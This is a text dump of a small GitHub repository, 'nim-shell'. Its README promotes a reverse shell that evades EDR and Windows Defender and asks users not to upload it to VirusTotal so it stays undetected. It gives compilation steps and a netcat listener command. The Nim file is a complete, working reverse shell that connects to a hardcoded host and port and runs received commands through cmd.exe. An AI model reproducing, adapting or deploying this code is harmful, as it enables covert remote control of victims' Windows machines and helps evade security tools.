Repository: emrekybs/nim-shell
Branch: main
Commit: 4ee5f0fe8ca8
Files: 3
Total size: 2.6 KB
Directory structure:
gitextract_n5hw1qtc/
├── LICENSE
├── README.md
└── nimshell.nim
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2023 EmreKybs
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
[
# Nim-Shell
<img src="https://github.com/emrekybs/nim-shell/blob/main/nim.png" width="250">
Reverse shell that can bypass EDR and windows defender detection
# Please do not upload to VirusTotal
# 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦
$ apt install nim
# Compilation
nim c -d:mingw --app:gui nimshell.nim
<img src="https://github.com/emrekybs/nim-shell/blob/main/1.png">
Change the IP address and port number you want to listen to in the nimshell.nim file according to your device.
<img src="https://github.com/emrekybs/nim-shell/blob/main/2.png">
# and listen
$ nc -nvlp 4444
================================================
FILE: nimshell.nim
================================================
import net, os, osproc, strutils
proc executeCommand(command: string): string =
result = execProcess("cmd /c " & command)
var
socket = newSocket()
var
myIP = "192.168.1.25"
myPort = "4444"
let
exitMessage = "Exiting.."
changeDirectoryCommand = "cd"
defaultDirectory = "C:\\"
try:
socket.connect(myIP, Port(parseInt(myPort)))
while true:
socket.send(os.getCurrentDir() & "> ")
let command = socket.recvLine()
if command == "exit":
socket.send(exitMessage)
break
if command.strip() == changeDirectoryCommand:
os.setCurrentDir(defaultDirectory)
elif command.strip().startswith(changeDirectoryCommand):
let directory = command.strip().split(' ')[1]
try:
os.setCurrentDir(directory)
except OSError as error:
socket.send(repr(error) & "\n")
continue
else:
let result = executeCommand(command)
socket.send(result)
except:
raise
finally:
socket.close
gitextract_n5hw1qtc/ ├── LICENSE ├── README.md └── nimshell.nim
Condensed preview — 3 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (3K chars).
[
{
"path": "LICENSE",
"chars": 1065,
"preview": "MIT License\n\nCopyright (c) 2023 EmreKybs\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
},
{
"path": "README.md",
"chars": 648,
"preview": "[\n# Nim-Shell\n<img src=\"https://github.com/emrekybs/nim-"
},
{
"path": "nimshell.nim",
"chars": 980,
"preview": "import net, os, osproc, strutils\n\nproc executeCommand(command: string): string =\n result = execProcess(\"cmd /c \" & comm"
}
]
About this extraction
This page contains the full source code of the emrekybs/nim-shell GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 3 files (2.6 KB), approximately 800 tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.